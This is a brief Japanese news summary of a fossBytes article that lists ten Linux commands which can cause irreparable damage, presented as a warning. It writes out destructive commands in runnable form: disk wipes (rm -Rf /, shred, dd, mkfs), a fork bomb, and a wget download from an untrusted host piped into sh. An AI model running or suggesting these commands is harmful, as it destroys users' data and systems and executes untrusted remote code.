fossBytesに8月20日(米国時間)に掲載された記事「10 Most Dangerous Linux Commands You Should Never Run」が、実行すると修復することが不可能な損害を与えかねないLinuxコマンド、または修復できてもひどいことになるLinuxkコマンド10選を伝えた。
紹介されているコマンドは次のとおり。
- rm -Rf /
- shred /dev/sda
- dd if=/dev/random of=/dev/sda
- mkfs.ext4 /dev/sda1
- mv / /dev/null
- :(){:|:&};:
- wget http://unknownsource.com/possiblydangerous.sh -O- | sh
- gunzip untrusted.gz
- command > file.conf
- ^mistake^correction
UNIX系のオペレーティングシステムは特権ユーザーに全権限が与えられることが多く、特権ユーザーでこうしたコマンドを実行すると簡単にシステムを破壊できてしまうことがある。誤操作でこうしたコマンドが実行されてしまうことがあり、そうしたミスを防止する機能が設定されたディストリビューションなどもある。